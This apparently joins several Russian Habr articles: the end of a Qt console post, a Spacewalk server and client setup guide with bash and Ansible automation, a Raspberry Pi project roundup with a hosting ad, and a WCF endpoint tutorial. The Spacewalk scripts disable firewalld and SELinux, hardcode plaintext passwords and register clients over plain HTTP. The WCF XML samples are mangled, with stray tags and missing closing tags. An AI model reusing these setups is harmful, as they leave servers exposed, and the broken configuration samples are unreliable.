QTextCharFormat format;
format.setForeground(Qt::green);
textCursor().setBlockCharFormat(format);
// …
}
```
А при выводе результата выполнения команды делаем шрифт белого цвета:
```
void Console::output(QString s)
{
// …
QTextCharFormat format;
format.setForeground(Qt::white);
textCursor().setBlockCharFormat(format);
// …
}
```
#### Все вниз!
Также хотелось бы, чтобы когда пользователь вводит команду, скроллбар текстового поля консоли проматывался до самого низа:
```
void Console::insertPrompt(bool insertNewBlock)
{
// …
scrollDown();
}
void Console::scrollDown()
{
QScrollBar *vbar = verticalScrollBar();
vbar->setValue(vbar->maximum());
}
```
#### Результат
В результате получилась веселая, красивая и удобная консолька. У меня это заняло всего 120 строк кода. Конечно, есть еще много вещей, которые можно было бы сделать, но основная функциональность реализована.
#### Ссылки
Исходный код проекта RedisConsole на GitHub: <https://github.com/ptrofimov/RedisConsole>
Там можно посмотреть класс виджета Console и скачать скомпилированный бинарник приложения для Windows, нажав кнопку «Downloads».
#### Спасибо | https://habr.com/ru/post/122831/ | null | ru | null |
# Spacewalk на Рождество
Привет, Хабр!
Незадолго до прихода Рождества, в IT-отделе было решено изучить Spacewalk, — это Red Hat система, бесплатный аналог Satellite, для централизованного управления конфигурациями, обновлений систем, удобной поддержкой всего серверного парка.
Ввиду того, что доступная на официальном сайте документация довольно скудна на дополнительные комментарии различного рода траблшутинга, была дана задача изучить продукт для постепенного введение его сначала на тестовые сервера, а впоследствии и на продукцию.
Основной идеей введения Spacewalk было не только централизация и упрощение контроля, но и чтобы шаловливыми ручками никто самостоятельно не делал обновления на серверах нового проекта, благо прецеденты уже происходили.
Спустя две недели работы все полученные мной знания были внесены во внутренний аналог Confluence, а свободный выходной подтолкнул меня на написание статьи на Хабр.
Перед тем как я начну, хотел бы вкратце осветить, что было и не было затронуто, чтобы не претендовать на полный мануал по работе со Spacewalk:
+ Установка и конфигурация сервера/клиента
+ Настройка системы в GUI
+ Траблшутинг установки/обновления пакетов, работы с конфигурациями
+ Errata (сбор информации о критический обновлениях, уязвимостях и пр.)
— Proxy (пропала надобность, после отказа от HA)
— Cobbler/kickstart
— OpenSCAP
### Системные требования
В связи с тем, что вся инфраструктура работает на VMWare, то и работа проводилась на ВМ под управлением CentOS 7. Рекомендуемыми системными требованиями от разработчика являются:
* 4GB RAM
* 6GB свободного места для /var/satellite/
* 12GB для БД
Я же использовал:
* 6GB RAM
* 4 CPU(s)
* 40GB HDD
Также советую отключить SELinux и, если не используете, firewalld. Либо добавить http сервис в исключения.
Заметка: в конце статьи будут плейбуки для Ansible, как для клиентской, так и для серверной части, а также bash-скрипты. С их помощью можно будет развернуть всю инфраструктуру за пару минут.
### Установка
Непосредственно установка описана как в официальной документации, так и на нескольких сайтах, однако для целостности статьи позволю себе упомянуть и здесь этот пункт.
Spacewalk работает с двумя СУБД: PostgreSQL и Oracle RDBMS. Я имею опыт работы с первой, ее и буду использовать сейчас.
Есть две возможности установки: как через автоматический инсталлер от Spacewalk, который и себя, и БД установит и настроит, правда, на тот же самый сервер, и установка в ручную, где можно поставить ДБ и приложение на разные сервера. Я рассмотрю оба варианта, начну с раздельной установки.
#### PostgreSQL
```
yum install -y postgresql-server
```
Также необходимо подключить PL/Tcl модули для PG:
```
yum install -y postgresql-pltcl
postgresql-setup initdb
systemctl start postgresql
```
Создадим БД, пользователя, и подключим модуль:
```
su - postgres -c 'PGPASSWORD=verystrong; createdb spcwlkdb ; createlang plpgsql spcwlkdb ; createlang pltclu spcwlkdb ; yes $PGPASSWORD | createuser -P -sDR spcwlkuser'
```
Дабы избежать проблем с подключением, стоит изменить */var/lib/pgsql/data/pg\_hba.conf*, добавив строки ДО линии all:
```
local spcwlkdb spcwlkuser md5
host spcwlkdb spcwlkuser 127.0.0.1/8 md5
local spcwlkdb postgres ident
```
Перезапустим все:
```
systemctl restart postgresql
```
Если вы собираетесь ставить приложение и БД на разных серверах, убедитесь, что на сервере БД установлен пакет *postgresql-contrib*.
#### Spacewalk
Подключаем репозитории:
```
rpm -Uvh https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8/epel-7-x86_64/00736372-spacewalk-repo/spacewalk-repo-2.8-11.el7.centos.noarch.rpm
```
Также подключим epel:
```
rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
```
Java:
```
(cd /etc/yum.repos.d && curl -O https://copr.fedorainfracloud.org/coprs/g/spacewalkproject/java-packages/repo/epel-7/group_spacewalkproject-java-packages-epel-7.repo)
```
Теперь непосредственно установщик для Spacewalk-postgres:
```
yum -y install spacewalk-setup-postgresql
```
Подключаемся к нашей БД:
```
spacewalk-setup-postgresql create --db spcwlkdb --user spcwlkuser --password verystrong
```
В том случае, если вы используете раздельный метод БД/приложение, то в вам будет нужно добавить флаг *--standalone* и указать IP адрес сервера БД, также не забудьте открыть порт 5432.
*Заметка: советую провести тюнинг БД в соответствии в вашим железом для более продуктивной работы всей системы.*
Теперь установим сам Spacewalk и запустим установку:
```
yum -y install spacewalk-postgresql
spacewalk-setup --external-postgresql
```
Дальше будет задано несколько вопросов, как по SSL сертификату, так и по БД. Можно вводить все значения вручную, или можно воспользоваться флагом *--answer-file*, и указать путь к файлу с ответами, чтобы в будущем автоматизировать установку:
```
admin-email = root@localhost
ssl-set-cnames = spcwlkserver
ssl-set-org = Unicorn
ssl-set-org-unit = EOH
ssl-set-city = Prague
ssl-set-state = HMP
ssl-set-country = CZ
ssl-password = verystrong
ssl-set-email = root@localhost
ssl-config-sslvhost = Y
db-backend=postgresql
db-name=spcwlkdb
db-user=spcwlkuser
db-password=verystrong
db-host=localhost
db-port=5432
enable-tftp=Y
```
Для управления непосредственно приложением, стоит использовать:
```
/usr/sbin/spacewalk-service [stop|start|restart]
```
Для вывода всех способствующих приложению сторонних сервисов:
```
spacewalk-service status
```
#### Вариант второй, автоматическая установка
После подключения репозиториев, ставим сетапы, и запускаем:
```
yum -y install spacewalk-setup-postgresql
yum -y install spacewalk-postgresql
spacewalk-setup
```
Опять же, будут заданы вопросы касательно БД и SSL, используем ключ *--answer-file* и путь к файлу с ответами.
### Base & Child Channels, Repos
Для управления клиентскими станциями, Spacewalk использует систему так называемых каналов, которые могут быть как основными (Base), так и дочерними (Child), к каждому каналу привязывается репозиторий, который вам нужен, а так же ключ — с помощью которого происходит сопряжение клиента с сервером.
Репозитории в итоге синхронизируются с каналами, которые, в свою очередь, связаны с клиентами, так и проходит работа Spacewalk в общем виде. Тут же стоит упомянуть errata, которые можно привязать к каналам, что упрощает обновление и контроль за пакетами.
Всех клиентов можно объединять в группы по разным признакам, причем как с одинаковыми, так и с разными каналами или репозиториями, есть возможность работать с большим количеством клиентов на раз, что очень помогает делать обновления на 100+ серверах.
Доступен список всех пакетов установленных, а после синхронизации репозиториев и возможных для установки. Некоторые пункты интуитивно понятно, и нет смысла рассматривать каждый пункт построчно.
Все действия в Spacewalk происходят по расписанию (Schedule), практически любое действие можно настроить на время, которое вам удобнее всего.
После установки, можно будет перейти на адрес вашего сервера, дальнейшую настройку проводим через графический интерфейс:
Введи пароль, имя администратора, имя организации (что тоже является одним из способов управления клиентами), и переходите на стартовую панель.
Пока можете либо изучать доступные возможности самостоятельно, или же перейдем к созданию каналов.
*Channels — Manage Software Channels — Create Channel:*
Рекомендую задавать имена каналов в соответствии с типов и видом ОС, которые будут привязаны к этому каналу, например, *CentOS\_7\_x86\_64*, в качестве чексам смело можно выбирать sha256, поле Channell Summary предназначено для небольшого описания канала. также, можете по желанию указать дополнительную информацию.
Теперь создадим дочерний канал и привяжем его к основному. Идем тем же способом, как создание основного канала, только в поле Parent Channel укажем уже созданный ранее канал.
Привяжем репозитории к основному и дочернему каналам.
*Channels — Manage Repositories*
Для основных каналов я использую Base Resources, для дочерних — Updates.
После создания репозиториев, нужно соединить их с каналами.
*Channels — Manage Software Channels*, откройте ваш основной канал, откройте раздел Repositories.
Здесь будут все созданные репозитории, выбирайте нужный вам, отмечайте, и нажмите на Update Resources.
Дальше откройте подраздел Sync:
Где вы можете синхронизировать репозиторий и канал, настроить расписание для синхронизации.
*Заметка: в моем случае шаловливых ручек, мне пришлось еще удалить стандартный репозиторий из клиентской системы.*
#### Установка клиента, сопряжение клиента с сервером, управление ключами, настройка канала конфигураций
Как я уже упомянул ранее, Spacewalk использует систему ключей от Red Hat Network, с помощью которых происходит сопряжение и управление.
Чтобы создать ключ, идем в *Systems — Activation Keys — Create Key:*
Тут все предельно просто, разве стоит упомянуть, что сам ключ вы можете задать и сами, его формат всегда будет *1-ХХХХХ*, а также, каждый ключ привязывается к каналу. Флаг Universal Default заставляет новые системы подхватывать параметры ключа.
**Установка клиента**
Подключим клиентский репозиторий и установим необходимые пакеты:
```
rpm -Uvh https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8-client/epel-7-x86_64/00742644-spacewalk-repo/spacewalk-client-repo-2.8-11.el7.centos.noarch.rpm
yum -y install rhn-client-tools rhn-check rhn-setup rhnsd m2crypto yum-rhn-plugin rhncfg-actions deltarpm
```
*Заметка: rhncfg-actions и deltarpm нужны для корректной работы конфигураций и удаленного управления.*
Spacewalk использует rhn\_check для синхронизации клиент-сервера, которая проходит каждые 4 часа. Это значение можно убавить до 60 минут, но для меня ни один, ни другой варианты не являлись оптимальными, посему есть два варианта: использовать osad, который идет вместе с Spacewalk, или попросту добавить cronjob для rhn\_check, допустим, на каждую минуту, пока мы тестируем систему, потом значение можно поменять, как вам будет угодно.
```
crontab -e
* * * * * /usr/sbin/rhn_check
```
Также будет не лишним добавить /usr/bin/rhn-actions-control --enable-all в Крон тоже, он используется для развертывания конфигураций, и иногда тупит.
Возвращаемся в управление ключами, и копируем ID ключа, который мы создали, и выполняем:
```
rhnreg_ks --serverUrl=http://your-server-ip/XMLRPC --activationkey=1-YOURKEY --force
```
Только не забываем поменять значения IP и ключа на свои. Опять же, советую использовать флаг *--force*, так как я замечал проблемы без использования этого флага.
Возвращаемся в *Systems — All*, довольные замечаем нашу систему. Ее можно теперь открыть и поисследовать, что и как там, а я пока настоятельно рекомендую создать группу для более удобного управления системами.
*Systems — System Goups — Create Group*, заполняем имя и описание, сохраняем, открываем свежесозданную группу, идем в раздел *Systems* и добавляем систему в группу.
Теперь подпишем систему к каналу, *Systems — Ваша система — Software папка — Software Channels подпапка:*
Выбирайте ваш канал и жмите на подтверждение. Можно ради интереса попробовать установить пакет, *Software — Packages — Install*.
**Канал конфигураций**
Чтобы управлять конфигурациями между сервером-клиентом/локальной машиной, а так же удаленным управлением, стоит настроить канал конфигураций и привязать к нему систему.
Идем в *Configuration — Configuration Channels — Create Config Channel*, задаем имя, описание, сохраняем, потом в *Configuration — Manage Configuration Channels — Subscribe to Channels* и подписываем канал конфигураций к софтверному каналу, и к системе.
Теперь мы можем деплоить конфигурации как с сервера, так и с локальных машин, и создавать разделы.
*Configuration — Add Files — Create File/Upload File:*
Так же, можем отправлять удаленные команда в виде bash-скрипта:
Напоминаю, что все действия проходят через расписание (Schedule), список всех действий примененных относительно данной системы можно посмотреть в разделе Events:
**Errata**
Одна из важнейших функций в Spacewalk это поддержка errata, которая удобно привязывается к каналам, и позволяет следить за уровнем важности последних обновлений. Настраивается это прямо на сервере, помимо скриптов, нужно скачать необходимые пакеты для Перла:
```
yum -y install perl-Frontier-RPC perl-Text-Unidecode
wget https://raw.githubusercontent.com/stevemeier/cefs/master/errata-import.pl
chmod +x errata-import.pl
```
Затем создадим основной скрипт обновления и сбора errata, который будет хранится в */etc/rhn/:*
```
#!/bin/bash
cd /etc/rhn/
wget -N http://cefs.steve-meier.de/errata.latest.xml
wget -N https://www.redhat.com/security/data/oval/com.redhat.rhsa-all.xml
export SPACEWALK_USER='root'
export SPACEWALK_PASS='verystrong'
./errata-import.pl --server YourServerIPAddress --errata errata.latest.xml --rhsa-oval com.redhat.rhsa-all.xml --publish
unset SPACEWALK_USER
unset SPACEWALK_PASS
```
В экспорте укажите имя и пароль администратора Spacewalk, который вы указывали в самом начале.
Сделаем скрипт исполняемым, и добавим его в Cron:
```
chmod +x spcwlk_errata.sh
crontab -e
0 2 * * 7 /usr/bin/sh /etc/rhn/spcwlk_errata.sh
```
Выполним его прямо сейчас, чтобы увидеть изменения в графическом интерфейсе. Выполнение займет некоторое время.
#### Итог
Важный пункт, лично на мой взгляд, который я упустил, это настройка и установка прокси, а также поднятие всей системы как HA. У меня была идея настроить приложение через pacemaker, а на БД проводить синхронизации. По итогу было решено отказаться от этой идеи, в виду не очень большого серверного парка клиентский станций. Однако, если система в ближайшие полгода покажет себя крайне полезной, возможно, придется расширить изначальный сервер.
#### Автоматизация
**Сервер:**
**Bash-скрипт для развертывания сервера (ОТКЛЮЧАЕТ firewalld):**
```
#!/bin/sh
#
rpm -Uvh https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8/epel-7-x86_64/00736372-spacewalk-repo/spacewalk-repo-2.8-11.el7.centos.noarch.rpm
rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
(cd /etc/yum.repos.d && curl -O https://copr.fedorainfracloud.org/coprs/g/spacewalkproject/java-packages/repo/epel-7/group_spacewalkproject-java-packages-epel-7.repo)
yum -y install spacewalk-setup-postgresql spacewalk-postgresql wget perl-Frontier-RPC perl-Text-Unidecode perl-XML-Simple
#
mkdir /usr/share/spcwlk-tmp/
echo 'admin-email = root@localhost
ssl-set-cnames = spcwlkserver
ssl-set-org = Unicorn
ssl-set-org-unit = EOH
ssl-set-city = Prague
ssl-set-state = SCK
ssl-set-country = CZ
ssl-password = verystrong
ssl-set-email = root@localhost
ssl-config-sslvhost = Y
db-backend=postgresql
db-name=spcwlkdb
db-user=spcwlkuser
db-password=verystrong
db-host=localhost
db-port=5432
enable-tftp=Y' > /usr/share/spcwlk-tmp/spcwlk_answer
spacewalk-setup --answer-file=/usr/share/spcwlk-tmp/spcwlk_answer
#
systemctl stop firewalld
systemctl disable firewalld
#
```
**Bash-скрипт для установки errata (сначала задать имя и пароль для администратора Spacewalk):**
```
#!/bin/sh
#
wget https://raw.githubusercontent.com/stevemeier/cefs/master/errata-import.pl -P /etc/rhn/
echo '#!/bin/bash
cd /etc/rhn/
wget -N http://cefs.steve-meier.de/errata.latest.xml
wget -N https://www.redhat.com/security/data/oval/com.redhat.rhsa-all.xml
export SPACEWALK_USER='gui username'
export SPACEWALK_PASS='Password to your gui account'
./errata-import.pl --server YourServerIPAddress --errata errata.latest.xml --rhsa-oval com.redhat.rhsa-all.xml --publish
unset SPACEWALK_USER
unset SPACEWALK_PASS' > /etc/rhn/spcwlk_errata.sh
#
chmod +x /etc/rhn/errata-import.pl
chmod +x /etc/rhn/spcwlk_errata.sh
#
echo '#!/bin/bash
#
/etc/rhn/./spcwlk_errata.sh' > /etc/rhn/spcwlk_errata_cron.sh
chmod +x /etc/rhn/spcwlk_errata_cron.sh
echo '0 2 * * 7 /usr/bin/sh /etc/rhn/spcwlk_errata_cron.sh' >> /var/spool/cron/root
/etc/rhn/./spcwlk_errata.sh
#
```
**Ansible плейбук для развертывания сервера (не забудьте добавить answer-file):**
```
- hosts: spcwlk-server
tasks:
- name: Install Spacewalk repo
yum:
name: https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8/epel-7-x86_64/00736372-spacewalk-repo/spacewalk-repo-2.8-11.el7.centos.noarch.rpm
state: present
- name: Install epel repo
yum:
name: https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
state: present
- name: Install PostgreSQL packages
yum:
name:
- spacewalk-setup-postgresql
- spacewalk-postgresql
- wget
- perl-Frontier-RPC
- perl-Text-Unidecode
- perl-XML-Simple
- name: Creates directory for Spacewalk answer file
file:
path: /usr/share/spcwlk-tmp/
state: directory
mode: 0755
- name: Deploy answer file
copy:
src: /etc/ansible/spcwlk_answer
dest: /usr/share/spcwlk-tmp/spcwlk_answer
- name: Spacewalk Server Deploy
shell: spacewalk-setup --answer-file=/usr/share/spcwlk-tmp/spcwlk_answer
- name: Stop firewalld
systemd:
name: firewalld
state: stopped
enabled: no
```
**Клиент:**
**Bash-скрипт для развертывания клиента (не забываем про IP и ключ):**
```
#!/bin/sh
#
rpm -Uvh https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8-client/epel-7-x86_64/00742644-spacewalk-repo/spacewalk-client-repo-2.8-11.el7.centos.noarch.rpm
yum -y install rhn-client-tools rhn-check rhn-setup rhnsd m2crypto yum-rhn-plugin rhncfg-actions deltarpm wget
echo '#!/bin/bash
#
/usr/sbin/rhn_check' > rhn_check.sh
mv rhn_check.sh /etc/cron.hourly/
chmod +x /etc/cron.hourly/rhn_check.sh
echo '* * * * * /usr/bin/sh /etc/cron.hourly/rhn_check.sh' >> /var/spool/cron/root
/usr/bin/rhn-actions-control --enable-all
cd /usr/share/rhn/
wget http://YourServerIPAddress/pub/RHN-ORG-TRUSTED-SSL-CERT
rhnreg_ks --serverUrl=http://172.22.64.41/XMLRPC --activationkey=1-xxxxxxxxxxxxxxxxxxxxxxxxxxxx --force
```
**Anisble плейбук для развертывания клиента:**
```
- hosts: spcwlk-clients
tasks:
- name: Install spacewalk repo
yum:
name: https://copr-be.cloud.fedoraproject.org/results/@spacewalkproject/spacewalk-2.8-client/epel-7-x86_64/00742644-spacewalk-repo/spacewalk-client-repo-2.8-11.el7.centos.noarch.rpm
state: present
- name: Install client packages
yum:
name:
- rhn-client-tools
- rhn-check
- rhn-setup
- rhnsd
- m2crypto
- yum-rhn-plugin
- rhncfg-actions
- deltarpm
- wget
- name: Create cronjob for rhn_check
cron:
name: "rhn_check"
minute: "*"
hour: "*"
day: "*"
month: "*"
weekday: "*"
job: "/usr/sbin/rhn_check"
- name: Enable controls for config and remote control deployment
shell: /usr/bin/rhn-actions-control --enable-all
- name: Get certificate from server to client
get_url:
url: http://YourServerIPAddress/pub/RHN-ORG-TRUSTED-SSL-CERT
dest: /usr/share/rhn/
- name: Register client to server
rhn_register:
state: present
server_url: http://YourServerIPAddress/XMLRPC
activationkey: "{{ activation_key }}"
```
Всем спасибо за прочтение статьи. Удачи! | https://habr.com/ru/post/435578/ | null | ru | null |
# Pip-Boy, портативный кластер из Pi 4 и игровая консоль: новые проекты на базе Raspberry Pi
Одноплатник от Raspberry Pi Foundation — один из наиболее универсальных инструментов разработки как в корпоративной среде, так и для любителей электроники. Многие разработчики не просто что-то создают, но и выкладывают результаты в интернет. Благодаря этому мы можем оценивать наиболее интересные проекты. Какие-то из них могут пригодиться в работе, а какие-то носят чисто развлекательный характер. Но и те, и другие весьма познавательны. Подробности, как водится — под катом.
### Кластер из Raspberry Pi4, который помещается в сумку вместе со свитчем
На текущий момент создано немало кластеров из «малиновых» одноплатников. Но этот проект достаточно сильно выделяется среди прочих. Дело в том, что он спроектирован таким образом, чтобы помещаться в небольшой сумке вместе с сетевым свитчем. Сам проект «заточен» под распределенные вычисления — в данном случае в качестве элемента проекта Folding@home по изучению белков.
Концепт был создан для торговой выставки, целью создателей было показать возможности одноплатников в качестве портативного мобильного элемента, который можно встроить в любую сеть. После выставки кластер поставили работать на благо науки. Что касается софта, который используется в проекте, то это 64-bit Raspberry Pi OS.
Кластер размещается в кастомном корпусе, напечатанном на 3D-принтере. Подробности о проекте можно изучить [вот по этой ссылке](https://www.reddit.com/r/raspberry_pi/comments/qnpgph/i_built_a_portable_pi4_cluster_in_a_bag).
### Оживление цифрового ассистента HP-95LX PDA
Ранее словосочетание «цифровой ассистент» ассоциировалось не с Goolge, Amazon или Microsoft, а с небольшими устройствами, которые служили календарем, переводчиком, дневником, диктофоном и много чем еще. И все это — при гораздо мнее производительной аппаратной конфигурации, чем у современных базовых смартфонов.
Так вот, одно такое устройство, модель HP-95LX PDA, умельцы решили восстановить с добавлением ряда функций. Сейчас подобный девайс уже морально устарел, так что возможностей современному пользователю нужно больше. Это и было сделано при помощи Raspberry Pi Zero W и цветного дисплея.
Модель 95LX была попыткой компании HP разработать современный и функциональный девайс, который может помочь пользователю справляться со своими ежедневными задачами. Выпущено устроство было в 1991 году, и для того времени это было действительно впечатляющее устройство. Вот его конфигурация:
* Процессор NEC V20 с частотой работы 5.37 МГц
* ОЗУ — 1 МБ
* Батарея — АА элементы
* Внутренняя память — 32 МБ
* Разрешение экрана — 240 x 128 (без подсветки, дисплей монохромный)
* ОС — DOS 3.22
В 1991 году было продано 500 тысяч таких девайсов, что стало весьма неплохим стартом. Наверное, многие тысячи гаджетов до сих пор собирают пыль у своих владельцев, поскольку работать с таким ассистентом уже нельзя.
Ну а энтузиасты дали устройству вторую жизнь, использовав для этого Raspberry Pi Zero W. Несмотря на небольшой размер, одноплатник вполне может работать с Линуксом, и его было решено использовать в качестве ОС. В итоге получилось устройство с цветным экраном (разрешение 800 x 480 пикселей), с Ethernet, микрофоном, двумя USB 2.0 портами, слотом для карты памяти, HDMI. Короче, почти что взрослый ПК с кучей функций. И все это — в небольшом форм-факторе, этот компьютер свободно помещается в кармане.
Подробности проекта можно найти < href=«[hackaday.io/project/172230-hpi95lx](https://hackaday.io/project/172230-hpi95lx)»>вот по этой ссылке.
### Коммерческий сервер
Есть много проектов DIY-серверов на базе «малинки». Ну а мы разработали коммерческое предложение на основе Raspberry Pi 4B. Кстати, в этом мы не одиноки — первыми вроде была сама компания Raspberry Pi Foundation, которая поставляет свои одноплатники миллионам пользователей по всему миру.
Кластер из 18 Raspberry Pi 4. Источник: raspberrypi.org
Разработчики решили создать сервер для своего сайта и успешно выполнили план. Для этого они собрали кластер из 18 «малинок» четвертого поколения с четырехъядерным процессором 1,5 ГГц и 4 ГБ RAM. Система прошла тесты и ее отправили в коммерческую эксплуатацию.
Ну а мы [предлагаем сервер](https://selectel.ru/services/dedicated/config/?uuid=8f84072c-5631-40a0-8053-a1cfca573c1e&utm_source=habr.com&utm_medium=referral&utm_campaign=Brand_Article_191221_Raspberry), в стоимость которого (499 рублей в месяц) входит:
* 1 общий публичный IP-адрес
* Круглосуточная поддержка
* Размещение в ЦОД уровня TIER III
* Оперативная замена неисправных комплектующих
### Pip-Boy
Pip-Boy из Fallout — лучший цифровой ассистент для выживания в мире постапокалипсиса. С ним ничего не страшно, ну, почти. Единственная проблема — достать такой ПК в нашей реальности нельзя, но зато можно сделать! И умелец, который на это способен, нашелся.
Он разработал собственную версию устройства, взяв за основу Adafruit. В итоге новый Pip-Boy работает на основе процессора RP2040. Устройство показывает информацию из игры, так что всегда можно видеть очки здоровья, содержимое инвентаря и прочую полезную информацию для геймера.
Разработчик разместил свое устройство в кастомном корпусе, который напечатан на 3D принтере. Все, как обычно. Дисплей — TFT IPS, выбор был сделан не случайно, такой экран установлен для того, чтобы быть похожим на аналог из игры. Для управления устройством разработчик установил D-Pad, джойстик, кнопку Select, плюс кнопку Reset.
Девайс автономный, для работы ему не нужны провода. В качестве элемента питания используется 3,7 LiPo батарея.
### Игровая консоль в стиле Atari
Чего-чего, а игровых проектов на базе «малинки» хватает с головой. И буквально каждую неделю появляются новые, причем достаточно интересные. Пример — консоль на двоих в стиле Atari. Это миниатюрный игровой автомат, который сделан с любовью к деталям.
Корпус небольшой, но в нем хватило места для всей электронной начинки и элементов управления. В отличие от предыдущих проектов, он не распечатывался на 3D-принтере, а сделан целиком из особого сорта индийского дерева. В центре размещен логотип Atari. В общем, вышло вполне достойно, причем не только в плане разработки, но и в плане игр. Кидаешь «монетку» и играешь в одну из пары десятков совместимых игр.
Вот ссылка на сам проект, где можно ознакомиться с подробностями.
### Органайзер на базе «малинки» и электронной бумаги
Для того, чтобы не забыть о своих делах, многие из нас используют бумажные органайзеры или специализированные приложения. Raspberry дает возможность разработать собственный органайзер, который ничем не уступает аналогам, а, возможно, и превосходит их.
Для создания этой системы потребуется одноплатник от Raspberry, это может быть Raspberry 3, 4 или даже Raspberry Pi Zero. Кроме того, понадобится карта памяти, 7,5-дюймовый дисплей из электронной бумаги, фоторамка (обычная) и учетная запись на сервере ToDoist c внесенными задачами.
Затем все это нужно собрать вместе, а также потратить время на конфигурирование ПО. Например, задействовать SPI-интерфейс.
`sudo raspi-config
> 3 - Interface Options
> p4 - SPI
> Enable
> Finish`
Подробности проекта, включая нюансы конфигурирования ПО — [вот по этой ссылке](https://www.tomshardware.com/how-to/raspberry-pi-e-paper-reminder).
[](https://selectel.ru/services/dedicated/config/?uuid=8f84072c-5631-40a0-8053-a1cfca573c1e&Futm_source=habr&utm_medium=referral&utm_campaign=Brand_Article_191221_raspberry) | https://habr.com/ru/post/596115/ | null | ru | null |
# Простой пример использования WCF в Visual Studio 2010. Часть 2
Вы читаете вторую часть:
* [Создание простейшего решения (solution) со стандартными конечными точками (default endpoints)](http://habrahabr.ru/blogs/net/116764/)
* Добавление и настройка конечных точек вручную
Предыдущая часть описывала [простейший пример](http://habrahabr.ru/blogs/net/116764/) создания службы (service) WCF и её вызова из клиентского приложения. В этой части вы сможете узнать, как можно достичь точно такого же результата, но теперь мы будем настраивать всё вручную. Таким образом, мы переопределим (override) стандартные конечные точки, настроим наши собственные, и в итоге получим точно такое же поведение нашего приложения.
Идея заключается в том, что бы вы поняли, что делает WCF и что вы можете сделать это самостоятельно. Кроме того, предыдущие версии .NET фреймворка не поддерживают стандартные конечные точки, и это означает, что решение, которое мы получим в конце этой статьи, будет также работать и в Visual Studio 2008.
Что мы будем делать?
1. Добавим конечные точки BasicHttpBinding
2. Добавим конечные точки MEX
3. Добавим поведение метаданных (Metadata behavior)
#### Поведение метаданных
Мы начнем сразу с третьего пункта просто потому, что здесь у нас уже почти всё готово. Решение из предыдущего поста содержало следующую конфигурацию приложения (application configuration) для приложения *ConsoleHost*.
> `1. </fontxml version="1.0" encoding="utf-8" ?>
> 2. <configuration>
> 3. <system.serviceModel>
> 4. <behaviors>
> 5. <serviceBehaviors>
> 6. <behavior>
> 7. <serviceMetadata httpGetEnabled="True"/>
> 8. behavior>
> 9. serviceBehaviors>
> 10. behaviors>
> 11. system.serviceModel>
> 12. configuration>
> \* This source code was highlighted with Source Code Highlighter.`
Поведение службы не имеет названия, что делает его стандартным для всех служб в WCF4. Все, что нам нужно сделать, это задать ему имя. Измените строку 6 следующим образом:
> `1. <behavior name="MyBehavior">
> \* This source code was highlighted with Source Code Highlighter.`
#### Добавление конечной точки BasicHttpBinding
Теперь мы добавим первую конечную точку, используя BasicHttpBinding. Прямо под мы добавим тег и добавим нашу службу. Оставив все значения пустыми, мы получим следующее:
> `1. <services>
> 2. <service name="">
> 3. <endpoint
> 4. address=""
> 5. binding=""
> 6. contract="" />
> 7. service>
> 8. services>
> \* This source code was highlighted with Source Code Highlighter.`
Теперь нам нужно заполнить пробелы. Более подробную информацию можно найти в статьях о [WCF ABC](http://bloggingabout.net/blogs/dennis/archive/2006/10/18/WCF-Part-1-_3A00_-Services-ABC.aspx) и [размещении службы (hosting the service)](http://bloggingabout.net/blogs/dennis/archive/2006/11/09/WCF-Part-3-_3A00_-Hosting-the-service.aspx).
* **Name**
Это немного сбивает с толку, но вы не можете просто ввести любое имя, на самом деле это тип службы.
Здесь мы должны указать полное имя реализации (implementation) нашей службы. То есть не интерфейса, а класса. В нашем случае имя класса *EmailValidator*, но его полное название включает пространство имен, что в итоге приводит к *EmailService.EmailValidator*.
* **Address**
Адрес мы не обязаны заполнять, потому что базовый адрес (base address) в нашем коде уже определяет его. Вы также можете определить его в конфигурации, об этом вы можете прочитать в посте об [адресе](http://bloggingabout.net/blogs/dennis/archive/2006/11/29/WCF-Part-6-_3A00_-Address.aspx).
* **Binding**
Привязка (binding) — просто basicHttpBinding. Обратите внимание на верблюжью нотацию (camelCasing).
* **Contract**
Здесь мы должны указать контракт, которым является наш интерфейс. Как и в случае с атрибутом Name, необходимо ввести полное имя, в нашем случае: *EmailService.IEmailValidator*.
Вы сможете увидеть итоговый результат в конце этой статьи, а также скачать решение, ссылка на которое размещена тоже в конце статьи.
#### Добавление конечной точки MEX
Конечная точка MEX требует настроенного поведения метаданных, но мы вернемся к этому позже. Для начала нам необходимо добавить конечную точку. Снова WCF ABC, адрес, привязка и контракт.
* **Address**
Поскольку мы не можем указать для этой конечной точки тот же адрес, что и для конечной точки BasicHttpBinding, мы введём здесь «mex».
* **Binding**
Здесь всё просто: mexHttpBinding
* **Contract**
Тут тоже всё просто, хотя и немного странно, контракт ДОЛЖЕН быть *IMetadataExchange*. Не полное имя или какое-нибудь другое, он просто должен быть именно таким.
#### Включение (enabling) поведения метаданных
Теперь нам осталось только добавить поведение метаданных. Это делается в теге объявления службы, рядом с её именем. Добавляем атрибут *behaviorConfiguration* и указываем имя нашей конфигурации поведения: *MyBehavior*.
#### Итоговый результат
В итоге, мы получили следующую конфигурацию:
> `1. </fontxml version="1.0" encoding="utf-8" ?>
> 2. <configuration>
> 3. <system.serviceModel>
> 4. <services>
> 5. <service name="EmailService.EmailValidator" behaviorConfiguration="MyBehavior">
> 6. <endpoint
> 7. address=""
> 8. binding="basicHttpBinding"
> 9. contract="EmailService.IEmailValidator" />
> 10. <endpoint
> 11. address="mex"
> 12. binding="mexHttpBinding"
> 13. contract="IMetadataExchange" />
> 14. service>
> 15. services>
> 16. <behaviors>
> 17. <serviceBehaviors>
> 18. <behavior name="MyBehavior">
> 19. <serviceMetadata httpGetEnabled="True"/>
> 20. behavior>
> 21. serviceBehaviors>
> 22. behaviors>
> 23. system.serviceModel>
> 24. configuration>
> \* This source code was highlighted with Source Code Highlighter.`
Вы можете [скачать решение для Visual Studio 2010 и Visual Studio 2008 прямо здесь](http://bloggingabout.net/media/p/483608.aspx). | https://habr.com/ru/post/116872/ | null | ru | null |
# Установка, настройка и использование сканера безопасности Antidoto
Ранее я писал о двух известных сканерах безопасности общего плана rkhunter и CentOS
